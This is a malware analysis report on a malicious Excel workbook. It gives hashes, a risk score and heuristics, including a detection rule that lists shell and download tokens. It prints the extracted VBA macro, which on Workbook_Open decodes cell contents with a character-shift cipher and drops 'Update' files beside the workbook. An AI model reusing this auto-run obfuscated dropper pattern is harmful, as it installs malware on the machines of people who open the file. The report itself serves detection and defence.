Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e96ca703406b66e1…

MALICIOUS

Office (OOXML)

16.8 KB Created: 2021-03-14 02:05:13 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2021-04-01
MD5: 899e664dbcd34d026e19c671870fa3e6 SHA-1: 1c7e4da8f793e6aebf9aff3f4da55b86619dc80f SHA-256: e96ca703406b66e1f602766ffd32283ec9dc0ef9a302692a2f9620b3b8b82c36
68 Risk Score

Heuristics 3

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1703 bytes
SHA-256: 67cc501cc7a2acf4187164fe31fb18f0678c86b1c5c52824237a859c525949bf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Dim filename1 As String
Dim linetext1 As String
Dim FileExtension1 As String
Dim filename2 As String
Dim linetext2 As String
Dim FileExtension2 As String
FileExtension1 = Ilabas(Range("A1").Value)
FileExtension2 = Ilabas(Range("A2").Value)

filename1 = ThisWorkbook.Path & "\Update1" & FileExtension1
Open filename1 For Output As #1
linetext1 = Range("A3").Value
Print #1, linetext1
Close #1

filename2 = ThisWorkbook.Path & "\Update2" & FileExtension2
Open filename2 For Output As #2
linetext2 = Ilabas(Range("A4").Value)
Print #2, linetext2
Close #2









End Sub





Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Attribute VB_Name = "Module1"
Function Itago(a As String) As String

Dim i As Integer
Dim s As String
For i = 1 To Len(a)
    s = Mid(a, i, 1)
    s = Chr(Asc(s) + 2)
    
    Itago = Itago & s
        
Next i

End Function
Function Ilabas(a As String) As String

Dim i As Integer
Dim s As String

For i = 1 To Len(a)
    s = Mid(a, i, 1)
    
    s = Chr(Asc(s) - 2)
    
    Ilabas = Ilabas & s
    
Next i




End Function
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 17920 bytes
SHA-256: d50b833bb9a930f2a11821e2d8fcca6dacdbc8bebcd6d0dfe11c136a9284edd5